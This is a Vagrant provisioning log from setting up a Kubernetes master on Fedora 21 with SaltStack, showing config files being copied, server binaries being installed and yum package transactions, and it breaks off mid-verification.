==> master: ‘./kubernetes/saltbase/salt/kube-proxy’ -> ‘/srv/salt-new/salt/kube-proxy’ ==> master: ‘./kubernetes/saltbase/salt/kube-proxy/init.sls’ -> ‘/srv/salt-new/salt/kube-proxy/init.sls’ ==> master: ‘./kubernetes/saltbase/salt/kube-proxy/default’ -> ‘/srv/salt-new/salt/kube-proxy/default’ ==> master: ‘./kubernetes/saltbase/salt/kube-proxy/kubeconfig’ -> ‘/srv/salt-new/salt/kube-proxy/kubeconfig’ ==> master: ‘./kubernetes/saltbase/salt/kube-proxy/kube-proxy.service’ -> ‘/srv/salt-new/salt/kube-proxy/kube-proxy.service’ ==> master: ‘./kubernetes/saltbase/salt/kube-proxy/initd’ -> ‘/srv/salt-new/salt/kube-proxy/initd’ ==> master: ‘./kubernetes/saltbase/salt/salt-helpers’ -> ‘/srv/salt-new/salt/salt-helpers’ ==> master: ‘./kubernetes/saltbase/salt/salt-helpers/init.sls’ -> ‘/srv/salt-new/salt/salt-helpers/init.sls’ ==> master: ‘./kubernetes/saltbase/salt/salt-helpers/services’ -> ‘/srv/salt-new/salt/salt-helpers/services’ ==> master: ‘./kubernetes/saltbase/salt/kubelet’ -> ‘/srv/salt-new/salt/kubelet’ ==> master: ‘./kubernetes/saltbase/salt/kubelet/kubelet.service’ -> ‘/srv/salt-new/salt/kubelet/kubelet.service’ ==> master: ‘./kubernetes/saltbase/salt/kubelet/init.sls’ -> ‘/srv/salt-new/salt/kubelet/init.sls’ ==> master: ‘./kubernetes/saltbase/salt/kubelet/kubernetes_auth’ -> ‘/srv/salt-new/salt/kubelet/kubernetes_auth’ ==> master: ‘./kubernetes/saltbase/salt/kubelet/default’ -> ‘/srv/salt-new/salt/kubelet/default’ ==> master: ‘./kubernetes/saltbase/salt/kubelet/initd’ -> ‘/srv/salt-new/salt/kubelet/initd’ ==> master: ‘./kubernetes/saltbase/salt/fluentd-es’ -> ‘/srv/salt-new/salt/fluentd-es’ ==> master: ‘./kubernetes/saltbase/salt/fluentd-es/fluentd-es.yaml’ -> ‘/srv/salt-new/salt/fluentd-es/fluentd-es.yaml’ ==> master: ‘./kubernetes/saltbase/salt/fluentd-es/init.sls’ -> ‘/srv/salt-new/salt/fluentd-es/init.sls’ ==> master: ‘./kubernetes/saltbase/salt/kube-admission-controls’ -> ‘/srv/salt-new/salt/kube-admission-controls’ ==> master: ‘./kubernetes/saltbase/salt/kube-admission-controls/init.sls’ -> ‘/srv/salt-new/salt/kube-admission-controls/init.sls’ ==> master: ‘./kubernetes/saltbase/salt/kube-admission-controls/limit-range’ -> ‘/srv/salt-new/salt/kube-admission-controls/limit-range’ ==> master: ‘./kubernetes/saltbase/salt/kube-admission-controls/limit-range/limit-range.yaml’ -> ‘/srv/salt-new/salt/kube-admission-controls/limit-range/limit-range.yaml’ ==> master: ‘./kubernetes/saltbase/salt/openvpn-client’ -> ‘/srv/salt-new/salt/openvpn-client’ ==> master: ‘./kubernetes/saltbase/salt/openvpn-client/init.sls’ -> ‘/srv/salt-new/salt/openvpn-client/init.sls’ ==> master: ‘./kubernetes/saltbase/salt/openvpn-client/client.conf’ -> ‘/srv/salt-new/salt/openvpn-client/client.conf’ ==> master: ‘./kubernetes/saltbase/salt/readme.md’ -> ‘/srv/salt-new/salt/readme.md’ ==> master: ‘./kubernetes/saltbase/salt/generate-cert’ -> ‘/srv/salt-new/salt/generate-cert’ ==> master: ‘./kubernetes/saltbase/salt/generate-cert/init.sls’ -> ‘/srv/salt-new/salt/generate-cert/init.sls’ ==> master: ‘./kubernetes/saltbase/salt/generate-cert/make-ca-cert.sh’ -> ‘/srv/salt-new/salt/generate-cert/make-ca-cert.sh’ ==> master: ‘./kubernetes/saltbase/salt/generate-cert/make-ce ==> master: rt.sh’ -> ‘/srv/salt-new/salt/generate-cert/make-cert.sh’ ==> master: ‘./kubernetes/saltbase/salt/top.sls’ -> ‘/srv/salt-new/salt/top.sls’ ==> master: ‘./kubernetes/saltbase/salt/etcd’ -> ‘/srv/salt-new/salt/etcd’ ==> master: ‘./kubernetes/saltbase/salt/etcd/init.sls’ -> ‘/srv/salt-new/salt/etcd/init.sls’ ==> master: ‘./kubernetes/saltbase/salt/etcd/etcd.manifest’ -> ‘/srv/salt-new/salt/etcd/etcd.manifest’ ==> master: ‘./kubernetes/saltbase/salt/kube-client-tools.sls’ -> ‘/srv/salt-new/salt/kube-client-tools.sls’ ==> master: ‘./kubernetes/saltbase/salt/cadvisor’ -> ‘/srv/salt-new/salt/cadvisor’ ==> master: ‘./kubernetes/saltbase/salt/cadvisor/init.sls’ -> ‘/srv/salt-new/salt/cadvisor/init.sls’ ==> master: ‘./kubernetes/saltbase/salt/base.sls’ -> ‘/srv/salt-new/salt/base.sls’ ==> master: ‘./kubernetes/saltbase/salt/kube-apiserver’ -> ‘/srv/salt-new/salt/kube-apiserver’ ==> master: ‘./kubernetes/saltbase/salt/kube-apiserver/init.sls’ -> ‘/srv/salt-new/salt/kube-apiserver/init.sls’ ==> master: ‘./kubernetes/saltbase/salt/kube-apiserver/kube-apiserver.manifest’ -> ‘/srv/salt-new/salt/kube-apiserver/kube-apiserver.manifest’ ==> master: ‘./kubernetes/saltbase/salt/static-routes’ -> ‘/srv/salt-new/salt/static-routes’ ==> master: ‘./kubernetes/saltbase/salt/static-routes/if-down’ -> ‘/srv/salt-new/salt/static-routes/if-down’ ==> master: ‘./kubernetes/saltbase/salt/static-routes/init.sls’ -> ‘/srv/salt-new/salt/static-routes/init.sls’ ==> master: ‘./kubernetes/saltbase/salt/static-routes/refresh’ -> ‘/srv/salt-new/salt/static-routes/refresh’ ==> master: ‘./kubernetes/saltbase/salt/static-routes/if-up’ -> ‘/srv/salt-new/salt/static-routes/if-up’ ==> master: ‘./kubernetes/saltbase/salt/kube-controller-manager’ -> ‘/srv/salt-new/salt/kube-controller-manager’ ==> master: ‘./kubernetes/saltbase/salt/kube-controller-manager/init.sls’ -> ‘/srv/salt-new/salt/kube-controller-manager/init.sls’ ==> master: ‘./kubernetes/saltbase/salt/kube-controller-manager/kube-controller-manager.manifest’ -> ‘/srv/salt-new/salt/kube-controller-manager/kube-controller-manager.manifest’ ==> master: ‘./kubernetes/saltbase/pillar’ -> ‘/srv/salt-new/pillar’ ==> master: ‘./kubernetes/saltbase/pillar/cluster-params.sls’ -> ‘/srv/salt-new/pillar/cluster-params.sls’ ==> master: ‘./kubernetes/saltbase/pillar/logging.sls’ -> ‘/srv/salt-new/pillar/logging.sls’ ==> master: ‘./kubernetes/saltbase/pillar/docker-images.sls’ -> ‘/srv/salt-new/pillar/docker-images.sls’ ==> master: ‘./kubernetes/saltbase/pillar/mine.sls’ -> ‘/srv/salt-new/pillar/mine.sls’ ==> master: ‘./kubernetes/saltbase/pillar/readme.md’ -> ‘/srv/salt-new/pillar/readme.md’ ==> master: ‘./kubernetes/saltbase/pillar/top.sls’ -> ‘/srv/salt-new/pillar/top.sls’ ==> master: ‘./kubernetes/saltbase/pillar/systemd.sls’ -> ‘/srv/salt-new/pillar/systemd.sls’ ==> master: ‘./kubernetes/saltbase/pillar/privilege.sls’ -> ‘/srv/salt-new/pillar/privilege.sls’ ==> master: ‘./kubernetes/saltbase/reactor’ -> ‘/srv/salt-new/reactor’ ==> master: ‘./kubernetes/saltbase/reactor/highstate-new.sls’ -> ‘/srv/salt-new/reactor/highstate-new.sls’ ==> master: ‘./kubernetes/saltbase/reactor/highstate-minions.sls’ -> ‘/srv/salt-new/reactor/highstate-minions.sls’ ==> master: ‘./kubernetes/saltbase/reactor/readme.md’ -> ‘/srv/salt-new/reactor/readme.md’ ==> master: ‘./kubernetes/saltbase/reactor/highstate-masters.sls’ -> ‘/srv/salt-new/reactor/highstate-masters.sls’ ==> master: +++ installing salt overlay files ==> master: ‘/srv/salt-overlay/salt/kube-proxy/kubeconfig’ -> ‘/srv/salt-new/salt/kube-proxy/kubeconfig’ ==> master: ‘/srv/salt-overlay/salt/kubelet/kubernetes_auth’ -> ‘/srv/salt-new/salt/kubelet/kubernetes_auth’ ==> master: ‘/srv/salt-overlay/salt/kubelet/kubeconfig’ -> ‘/srv/salt-new/salt/kubelet/kubeconfig’ ==> master: ‘/srv/salt-overlay/salt/kube-apiserver/basic_auth.csv’ -> ‘/srv/salt-new/salt/kube-apiserver/basic_auth.csv’ ==> master: ‘/srv/salt-overlay/salt/kube-apiserver/known_tokens.csv’ -> ‘/srv/salt-new/salt/kube-apiserver/known_tokens.csv’ ==> master: ‘/srv/salt-overlay/pillar/cluster-params.sls’ -> ‘/srv/salt-new/pillar/cluster-params.sls’ ==> master: +++ install binaries from tar: kubernetes-server-linux-amd64.tar.gz ==> master: ‘/tmp/kubernetes.dha5gl/kubernetes/server/bin/hyperkube’ -> ‘/srv/salt-new/salt/kube-bins/hyperkube’ ==> master: ‘/tmp/kubernetes.dha5gl/kubernetes/server/bin/kube-apiserver’ -> ‘/srv/salt-new/salt/kube-bins/kube-apiserver’ ==> master: ‘/tmp/kubernetes.dha5gl/kubernetes/server/bin/kube-apiserver.docker_tag’ -> ‘/srv/salt-new/salt/kube-bins/kube-apiserver.docker_tag’ ==> master: ‘/tmp/kubernetes.dha5gl/kubernetes/server/bin/kube-apiserver.tar’ -> ‘/srv/salt-new/salt/kube-bins/kube-apiserver.tar’ ==> master: ‘/tmp/kubernetes.dha5gl/kubernetes/server/bin/kube-controller-manager’ -> ‘/srv/salt-new/salt/kube-bins/kube-controller-manager’ ==> master: ‘/tmp/kubernetes.dha5gl/kubernetes/server/bin/kube-controller-manager.docker_tag’ -> ‘/srv/salt-new/salt/kube-bins/kube-controller-manager.docker_tag’ ==> master: ‘/tmp/kubernetes.dha5gl/kubernetes/server/bin/kube-controller-manager.tar’ -> ‘/srv/salt-new/salt/kube-bins/kube-controller-manager.tar’ ==> master: ‘/tmp/kubernetes.dha5gl/kubernetes/server/bin/kubectl’ -> ‘/srv/salt-new/salt/kube-bins/kubectl’ ==> master: ‘/tmp/kubernetes.dha5gl/kubernetes/server/bin/kubelet’ -> ‘/srv/salt-new/salt/kube-bins/kubelet’ ==> master: ‘/tmp/kubernetes.dha5gl/kubernetes/server/bin/kube-proxy’ -> ‘/srv/salt-new/salt/kube-bins/kube-proxy’ ==> master: ‘/tmp/kubernetes.dha5gl/kubernetes/server/bin/kubernetes’ -> ‘/srv/salt-new/salt/kube-bins/kubernetes’ ==> master: ‘/tmp/kubernetes.dha5gl/kubernetes/server/bin/kube-scheduler’ -> ‘/srv/salt-new/salt/kube-bins/kube-scheduler’ ==> master: ‘/tmp/kubernetes.dha5gl/kubernetes/server/bin/kube-scheduler.docker_tag’ -> ‘/srv/salt-new/salt/kube-bins/kube-scheduler.docker_tag’ ==> master: ‘/tmp/kubernetes.dha5gl/kubernetes/server/bin/kube-scheduler.tar’ -> ‘/srv/salt-new/salt/kube-bins/kube-scheduler.tar’ ==> master: +++ swapping in new configs ==> master: ‘/srv/salt-new/salt’ -> ‘/srv/salt’ ==> master: ‘/srv/salt-new/pillar’ -> ‘/srv/pillar’ ==> master: ‘/srv/salt-new/reactor’ -> ‘/srv/reactor’ ==> master: /home/vagrant ==> master:     info:  sh -- version 2015.07.22 ==> master:  ==> master:     info: system information: ==> master:     info:   cpu:          genuineintel ==> master:     info:   cpu arch:     x86_64 ==> master:     info:   os name:      linux ==> master:     info:   os version:   3.17.4-301.fc21.x86_64 ==> master:     info:   distribution: fedora 21 ==> master:     info: installing master ==> master:     info: found function install_fedora_deps ==> master:     info: found function install_fedora_stable ==> master:     info: found function install_fedora_stable_post ==> master:     info: found function install_fedora_restart_daemons ==> master:     info: found function daemons_running ==> master:     info: found function install_fedora_check_services ==> master:     info: running install_fedora_deps   ==> master:     info: adding saltstack's copr repository ==> master: resolving dependencies ==> master: --> running transaction check ==> master: ---> package pyyaml.x86_64 0:3.11-7.fc21 will be installed ==> master: ---> package libyaml.x86_64 0:0.1.6-6.fc21 will be installed ==> master: ---> package m2crypto.x86_64 0:0.21.1-18.fc21 will be installed ==> master: ---> package python-crypto.x86_64 0:2.6.1-6.fc21 will be installed ==> master: --> processing dependency: libtomcrypt.so.0   64bit  for package: python-crypto-2.6.1-6.fc21.x86_64 ==> master: ---> package python-jinja2.noarch 0:2.7.3-2.fc21 will be installed ==> master: --> processing dependency: python-babel >= 0.8 for package: python-jinja2-2.7.3-2.fc21.noarch ==> master: --> processing dependency: python-setuptools for package: python-jinja2-2.7.3-2.fc21.noarch ==> master: --> processing dependency: python-markupsafe for package: python-jinja2-2.7.3-2.fc21.noarch ==> master: ---> package python-msgpack.x86_64 0:0.4.6-1.fc21 will be installed ==> master: ---> package python-requests.noarch 0:2.7.0-1.fc21 will be installed ==> master: --> processing dependency: python-urllib3 >= 1.10 for package: python-requests-2.7.0-1.fc21.noarch ==> master: --> processing dependency: python-chardet for package: python-requests-2.7.0-1.fc21.noarch ==> master: ---> package python-zmq.x86_64 0:14.3.1-1.fc21 will be installed ==> master: --> processing dependency: libzmq.so.3   64bit  for package: python-zmq-14.3.1-1.fc21.x86_64 ==> master: ---> package yum-utils.noarch 0:1.1.31-27.fc21 will be installed ==> master: --> processing dependency: python-kitchen for package: yum-utils-1.1.31-27.fc21.noarch ==> master: --> running transaction check ==> master: ---> package libtomcrypt.x86_64 0:1.17-24.fc21 will be installed ==> master: --> processing dependency: libtommath >= 0.42.0 for package: libtomcrypt-1.17-24.fc21.x86_64 ==> master: --> processing dependency: libtommath.so.0   64bit  for package: libtomcrypt-1.17-24.fc21.x86_64 ==> master: ---> package python-babel.noarch 0:1.3-7.fc21 will be installed ==> master: --> processing dependency: pytz for package: python-babel-1.3-7.fc21.noarch ==> master: ---> package python-chardet.noarch 0:2.2.1-2.fc21 will be installed ==> master: ---> package python-kitchen.noarch 0:1.2.1-2.fc21 will be installed ==> master: ---> package python-markupsafe.x86_64 0:0.23-6.fc21 will be installed ==> master: ---> package python-setuptools.noarch 0:2.0-8.fc21 will be installed ==> master: --> processing dependency: python-backports-ssl_match_hostname for package: python-setuptools-2.0-8.fc21.noarch ==> master: ---> package python-urllib3.noarch 0:1.10.4-3.20150503gita91975b.fc21 will be installed ==> master: --> processing dependency: python-pyasn1 for package: python-urllib3-1.10.4-3.20150503gita91975b.fc21.noarch ==> master: --> processing dependency: python-ndg_httpsclient for package: python-urllib3-1.10.4-3.20150503gita91975b.fc21.noarch ==> master: --> processing dependency: pyopenssl for package: python-urllib3-1.10.4-3.20150503gita91975b.fc21.noarch ==> master: ---> package zeromq3.x86_64 0:3.2.5-1.fc21 will be installed ==> master: --> processing dependency: libpgm-5.2.so.0   64bit  for package: zeromq3-3.2.5-1.fc21.x86_64 ==> master: --> running transaction check ==> master: ---> package libtommath.x86_64 0:0.42.0-5.fc21 will be installed ==> master: ---> package openpgm.x86_64 0:5.2.122-4.fc21 will be installed ==> master: ---> package pyopenssl.x86_64 0:0.13.1-4.fc21 will be installed ==> master: ---> package python-backports-ssl_match_hostname.noarch 0:3.4.0.2-4.fc21 will be installed ==> master: --> processing dependency: python-backports for package: python-backports-ssl_match_hostname-3.4.0.2-4.fc21.noarch ==> master: ---> package python-ndg_httpsclient.noarch 0:0.3.2-1.fc21 will be installed ==> master: ---> package python-pyasn1.noarch 0:0.1.7-4.fc21 will be installed ==> master: ---> package pytz.noarch 0:2012d-7.fc21 will be installed ==> master: --> running transaction check ==> master: ---> package python-backports.x86_64 0:1.0-5.fc21 will be installed ==> master: --> finished dependency resolution ==> master:  ==> master: dependencies resolved ==> master:  ==> master: ================================================================================ ==> master:  package                  arch   version                          repository ==> master:                                                                            size ==> master: ================================================================================ ==> master: installing: ==> master:  pyyaml                   x86_64 3.11-7.fc21                      updates 172 k ==> master:  libyaml                  x86_64 0.1.6-6.fc21                     updates  58 k ==> master:  m2crypto                 x86_64 0.21.1-18.fc21                   fedora  431 k ==> master:  python-crypto            x86_64 2.6.1-6.fc21                     fedora  467 k ==> master:  python-jinja2            noarch 2.7.3-2.fc21                     updates 531 k ==> master:  python-msgpack           x86_64 0.4.6-1.fc21                     updates  81 k ==> master:  python-requests          noarch 2.7.0-1.fc21                     updates  99 k ==> master:  python-zmq               x86_64 14.3.1-1.fc21                    fedora  480 k ==> master:  yum-utils                noarch 1.1.31-27.fc21                   updates 118 k ==> master: installing for dependencies: ==> master:  libtomcrypt              x86_64 1.17-24.fc21                     fedora  227 k ==> master:  libtommath               x86_64 0.42.0-5.fc21                    fedora   39 k ==> master:  openpgm                  x86_64 5.2.122-4.fc21                   fedora  176 k ==> master:  pyopenssl                x86_64 0.13.1-4.fc21                    fedora  137 k ==> master:  python-babel             noarch 1.3-7.fc21                       updates 2.5 m ==> master:  python-backports         x86_64 1.0-5.fc21                       fedora  9.7 k ==> master:  python-backports-ssl_match_hostname ==> master:                           noarch 3.4.0.2-4.fc21                   fedora   17 k ==> master:  python-chardet           noarch 2.2.1-2.fc21                     fedora  231 k ==> master:  python-kitchen           noarch 1.2.1-2.fc21                     updates 120 k ==> master:  python-markupsafe        x86_64 0.23-6.fc21                      fedora   35 k ==> master:  python-ndg_httpsclient   noarch 0.3.2-1.fc21                     fedora   47 k ==> master:  python-pyasn1            noarch 0.1.7-4.fc21                     fedora   92 k ==> master:  python-setuptools        noarch 2.0-8.fc21                       fedora  393 k ==> master:  python-urllib3           noarch 1.10.4-3.20150503gita91975b.fc21 updates 109 k ==> master:  pytz                     noarch 2012d-7.fc21                     fedora   39 k ==> master:  zeromq3                  x86_64 3.2.5-1.fc21                     updates 349 k ==> master:  ==> master: transaction summary ==> master: ================================================================================ ==> master: install  9 packages  +16 dependent packages  ==> master: total download size: 6.8 m ==> master: installed size: 26 m ==> master: downloading packages: ==> master: -------------------------------------------------------------------------------- ==> master: total                                              1.2 mb/s | 6.8 mb  00:05      ==> master: running transaction check ==> master: running transaction test ==> master: transaction test succeeded ==> master: running transaction  shutdown inhibited  ==> master:   installing : python-chardet-2.2.1-2.fc21.noarch                          1/25 ==> master:   ==> master:   installing : python-pyasn1-0.1.7-4.fc21.noarch                           2/25 ==> master:   ==> master:   installing : pyopenssl-0.13.1-4.fc21.x86_64                              3/25 ==> master:   ==> master:   installing : python-kitchen-1.2.1-2.fc21.noarch                          4/25 ==> master:   ==> master:   installing : libtommath-0.42.0-5.fc21.x86_64                             5/25 ==> master:   ==> master:   installing : libtomcrypt-1.17-24.fc21.x86_64                             6/25 ==> master:   ==> master:   installing : python-backports-1.0-5.fc21.x86_64                          7/25 ==> master:   ==> master:   installing : python-backports-ssl_match_hostname-3.4.0.2-4.fc21.noarc    8/25 ==> master:   ==> master:   installing : python-setuptools-2.0-8.fc21.noarch                         9/25 ==> master:   ==> master:   installing : python-ndg_httpsclient-0.3.2-1.fc21.noarch                 10/25 ==> master:   ==> master:   installing : python-urllib3-1.10.4-3.20150503gita91975b.fc21.noarch     11/25 ==> master:   ==> master:   installing : pytz-2012d-7.fc21.noarch                                   12/25 ==> master:   ==> master:   installing : python-babel-1.3-7.fc21.noarch                             13/25 ==> master:   ==> master:   installing : openpgm-5.2.122-4.fc21.x86_64                              14/25 ==> master:   ==> master:   installing : zeromq3-3.2.5-1.fc21.x86_64                                15/25 ==> master:   ==> master:   installing : libyaml-0.1.6-6.fc21.x86_64                                16/25 ==> master:   ==> master:   installing : python-markupsafe-0.23-6.fc21.x86_64                       17/25 ==> master:   ==> master:   installing : python-jinja2-2.7.3-2.fc21.noarch                          18/25 ==> master:   ==> master:   installing : pyyaml-3.11-7.fc21.x86_64                                  19/25 ==> master:   ==> master:   installing : python-zmq-14.3.1-1.fc21.x86_64                            20/25 ==> master:   ==> master:   installing : python-requests-2.7.0-1.fc21.noarch                        21/25 ==> master:   ==> master:   installing : python-crypto-2.6.1-6.fc21.x86_64                          22/25 ==> master:   ==> master:   installing : yum-utils-1.1.31-27.fc21.noarch                            23/25 ==> master:   ==> master:   installing : python-msgpack-0.4.6-1.fc21.x86_64                         24/25 ==> master:   ==> master:   installing : m2crypto-0.21.1-18.fc21.x86_64                             25/25 ==> master:   ==> master:   verifying  : python-urllib3-1.10.4-3.20150503gita91975b.fc21.noarch      1/25 ==> master:   ==> master:   verifying  : python-markupsafe-0.23-6.fc21.x86_64                        2/25 ==> master:   ==> master:   verifying  : python-crypto-2.6.1-6.fc21.x86_64                           3/25 ==> master:   ==> master:   verifying  : python-jinja2-2.7.3-2.fc21.noarch                           4/25 ==> master:   ==> master:   verifying  : pyopenssl-0.13.1-4.fc21.x86_64                              5/25 ==> master:   ==> master:   verifying  : pyyaml-3.11-7.fc21.x86_64                                   6/25 ==> master:   ==> master:   verifying  : m2crypto-0.21.1-18.fc21.x86_64                              7/25 ==> master:   ==> master:   verifying  : python-kitchen-1.2.1-2.fc21.noarch                          8/25 ==> master:   ==> master:   verifying  : libyaml-0.1.6-6.fc21.x86_64                                 9/25 ==> master:   ==> master:   verifying  : openpgm-5.2.122-4.fc21.x86_64                              10/25 ==> master:   ==> master:   verifying  : python-requests-2.7.0-1.fc21.noarch                        11/25 ==> master:   ==> master:   verifying  : python-zmq-14.3.1-1.fc21.x86_64                            12/25 ==> master:   ==> master:   verifying  : python-babel-1.3-7.fc21.noarch                             13/25 ==> master:   ==> master:   verifying  : zeromq3-3.2.5-1.fc21.x86_64                                14/25 ==> master:   ==> master:   verifying  : libtomcrypt-1.17-24.fc21.x86_64                            15/25 ==> master:   ==> master:   verifying  : python-pyasn1-0.1.7-4.fc21.noarch                          16/25 ==> master:   ==> master:   verifying  : yum-utils-1.1.31-27.fc21.noarch                            17/25 ==> master:   ==> master:   verifying  : pytz-2012d-7.fc21.noarch                                   18/25 ==> master:   ==> master:   verifying  : python-setuptools-2.0-8.fc21.noarch                        19/25 ==> master:   ==> master:   verifying  : python-backports-1.0-5.fc21.x86_64                         20/25 ==> master:   ==> master:   verifying  : python-msgpack-0.4.6-1.fc21.x86_64                         21/25 ==> master:   ==> master:   verifying  : python-backports-ssl_match_hostname-3.4.0.2-4.fc21.noarc   22/25 ==> master:   ==> master:   verifying  : python-ndg_httpsclient-0.3.2-1.fc21.noarch                 23/25 ==> master:   ==> master:   verifying  : libtommath-0.42.0-5.fc21.x86_64                            24/25 ==> master:   ==> master:   verifying  : python-chardet-2.2.1-2.fc21.noarch                         25/25 ==> master:   ==> master:  ==> master: installed: ==> master:   pyyaml.x86_64 0:3.11-7.fc21             libyaml.x86_64 0:0.1.6-6.fc21          ==> master:   m2crypto.x86_64 0:0.21.1-18.fc21        python-crypto.x86_64 0:2.6.1-6.fc21    ==> master:   python-jinja2.noarch 0:2.7.3-2.fc21     python-msgpack.x86_64 0:0.4.6-1.fc21   ==> master:   python-requests.noarch 0:2.7.0-1.fc21   python-zmq.x86_64 0:14.3.1-1.fc21      ==> master:   yum-utils.noarch 0:1.1.31-27.fc21       ==> master:  ==> master: dependency installed: ==> master:   libtomcrypt.x86_64 0:1.17-24.fc21                                              ==> master:   libtommath.x86_64 0:0.42.0-5.fc21                                              ==> master:   openpgm.x86_64 0:5.2.122-4.fc21                                                ==> master:   pyopenssl.x86_64 0:0.13.1-4.fc21                                               ==> master:   python-babel.noarch 0:1.3-7.fc21                                               ==> master:   python-backports.x86_64 0:1.0-5.fc21                                           ==> master:   python-backports-ssl_match_hostname.noarch 0:3.4.0.2-4.fc21                    ==> master:   python-chardet.noarch 0:2.2.1-2.fc21                                           ==> master:   python-kitchen.noarch 0:1.2.1-2.fc21                                           ==> master:   python-markupsafe.x86_64 0:0.23-6.fc21                                         ==> master:   python-ndg_httpsclient.noarch 0:0.3.2-1.fc21                                   ==> master:   python-pyasn1.noarch 0:0.1.7-4.fc21                                            ==> master:   python-setuptools.noarch 0:2.0-8.fc21                                          ==> master:   python-urllib3.noarch 0:1.10.4-3.20150503gita91975b.fc21                       ==> master:   pytz.noarch 0:2012d-7.fc21                                                     ==> master:   zeromq3.x86_64 0:3.2.5-1.fc21                                                  ==> master: complete! ==> master:     info: running install_fedora_stable   ==> master: resolving dependencies ==> master: --> running transaction check ==> master: ---> package salt-master.noarch 0:2015.5.2-3.fc21 will be installed ==> master: --> processing dependency: salt = 2015.5.2-3.fc21 for package: salt-master-2015.5.2-3.fc21.noarch ==> master: --> processing dependency: systemd-python for package: salt-master-2015.5.2-3.fc21.noarch ==> master: --> running transaction check ==> master: ---> package salt.noarch 0:2015.5.2-3.fc21 will be installed ==> master: --> processing dependency: pciutils for package: salt-2015.5.2-3.fc21.noarch ==> master: ---> package systemd-python.x86_64 0:216-25.fc21 will be installed ==> master: --> processing dependency: systemd = 216-25.fc21 for package: systemd-python-216-25.fc21.x86_64 ==> master: --> running transaction check ==> master: ---> package pciutils.x86_64 0:3.3.0-1.fc21 will be installed ==> master: --> processing dependency: pciutils-libs = 3.3.0-1.fc21 for package: pciutils-3.3.0-1.fc21.x86_64 ==> master: --> processing dependency: libpci.so.3 libpci_3.3  64bit  for package: pciutils-3.3.0-1.fc21.x86_64 ==> master: --> processing dependency: libpci.so.3 libpci_3.1  64bit  for package: pciutils-3.3.0-1.fc21.x86_64 ==> master: --> processing dependency: libpci.so.3 libpci_3.0  64bit  for package: pciutils-3.3.0-1.fc21.x86_64 ==> master: --> processing dependency: hwdata for package: pciutils-3.3.0-1.fc21.x86_64 ==> master: --> processing dependency: libpci.so.3   64bit  for package: pciutils-3.3.0-1.fc21.x86_64 ==> master: ---> package systemd.x86_64 0:216-12.fc21 will be updated ==> master: --> processing dependency: systemd = 216-12.fc21 for package: libgudev1-216-12.fc21.x86_64 ==> master: ---> package systemd.x86_64 0:216-25.fc21 will be an update ==> master: --> processing dependency: systemd-libs = 216-25.fc21 for package: systemd-216-25.fc21.x86_64 ==> master: --> running transaction check ==> master: ---> package hwdata.noarch 0:0.279-1.fc21 will be installed ==> master: ---> package libgudev1.x86_64 0:216-12.fc21 will be updated ==> master: ---> package libgudev1.x86_64 0:216-25.fc21 will be an update ==> master: ---> package pciutils-libs.x86_64 0:3.3.0-1.fc21 will be installed ==> master: ---> package systemd-libs.x86_64 0:216-12.fc21 will be updated ==> master: ---> package systemd-libs.x86_64 0:216-25.fc21 will be an update ==> master: --> finished dependency resolution ==> master:  ==> master: dependencies resolved ==> master:  ==> master: ================================================================================ ==> master:  package             arch        version              repository           size ==> master: ================================================================================ ==> master: installing: ==> master:  salt-master         noarch      2015.5.2-3.fc21      saltstack-salt      866 k ==> master: installing for dependencies: ==> master:  hwdata              noarch      0.279-1.fc21         updates             1.4 m ==> master:  pciutils            x86_64      3.3.0-1.fc21         fedora               96 k ==> master:  pciutils-libs       x86_64      3.3.0-1.fc21         fedora               50 k ==> master:  salt                noarch      2015.5.2-3.fc21      saltstack-salt      3.9 m ==> master:  systemd-python      x86_64      216-25.fc21          updates              95 k ==> master: updating for dependencies: ==> master:  libgudev1           x86_64      216-25.fc21          updates              62 k ==> master:  systemd             x86_64      216-25.fc21          updates             5.1 m ==> master:  systemd-libs        x86_64      216-25.fc21          updates             323 k ==> master:  ==> master: transaction summary ==> master: ================================================================================ ==> master: install  1 package   +5 dependent packages  ==> master: upgrade               3 dependent packages  ==> master: total download size: 12 m ==> master: downloading packages: ==> master: delta rpms disabled because /usr/bin/applydeltarpm not installed. ==> master: warning: /var/cache/yum/x86_64/21/saltstack-salt/packages/salt-master-2015.5.2-3.fc21.noarch.rpm: header v3 rsa/sha1 signature, key id 1d3e8f00: nokey ==> master: public key for salt-master-2015.5.2-3.fc21.noarch.rpm is not installed ==> master: -------------------------------------------------------------------------------- ==> master: total                                              2.0 mb/s |  12 mb  00:05      ==> master: retrieving key from https://copr-be.cloud.fedoraproject.org/results/saltstack/salt/pubkey.gpg ==> master: importing gpg key 0x1d3e8f00: ==> master:  userid     : \ saltstack_salt  none  <saltstack salt@copr.fedorahosted.org>\  ==> master:  fingerprint: 2e39 01d9 1f65 f08a 6ee3 ff7c f868 1181 1d3e 8f00 ==> master:  from       : https://copr-be.cloud.fedoraproject.org/results/saltstack/salt/pubkey.gpg ==> master: running transaction check ==> master: running transaction test ==> master: transaction test succeeded ==> master: running transaction  shutdown inhibited  ==> master:   updating   : systemd-libs-216-25.fc21.x86_64                             1/12 ==> master:   ==> master:   updating   : systemd-216-25.fc21.x86_64                                  2/12 ==> master:   ==> master:   installing : systemd-python-216-25.fc21.x86_64                           3/12 ==> master:   ==> master:   installing : hwdata-0.279-1.fc21.noarch                                  4/12 ==> master:   ==> master:   installing : pciutils-libs-3.3.0-1.fc21.x86_64                           5/12 ==> master:   ==> master:   installing : pciutils-3.3.0-1.fc21.x86_64                                6/12 ==> master:   ==> master:   installing : salt-2015.5.2-3.fc21.noarch                                 7/12 ==> master:   ==> master:   installing : salt-master-2015.5.2-3.fc21.noarch                          8/12 ==> master:   ==> master:   updating   : libgudev1-216-25.fc21.x86_64                                9/12 ==> master:   ==> master:   cleanup    : libgudev1-216-12.fc21.x86_64                               10/12 ==> master:   ==> master:   cleanup    : systemd-216-12.fc21.x86_64                                 11/12 ==> master:   ==> master:   cleanup    : systemd-libs-216-12.fc21.x86_64                            12/12 ==> master:   ==> master:   verifying  : salt-2015.5.2-3.fc21.noarch                                 1/12 ==> master:   ==> master:   verifying  : systemd-libs-216-25.fc21.x86_64                             2/12 ==> master:   ==> master:   verifying  : libgudev1-216-25.fc21.x86_64                                3/12 ==> master:   ==> master:   verifying  : salt-master-2015.5.2-3.fc21.noarch                          4/12 ==> master:   ==> master:   verifying  : pciutils-libs-3.3.0-1.fc21.x86_64                           5/12 ==> master:   ==> master:   verifying  : pciutils-3.3.0-1.fc21.x86_64                                6/12 ==> master:   ==> master:   verifying  : systemd-python-216-25.fc21.x86_64                           7/12 ==> master:   ==> master:   verifying  : systemd-216-25.fc21.x86_64                                  8/12 ==> master:   ==> master:   verifying  : 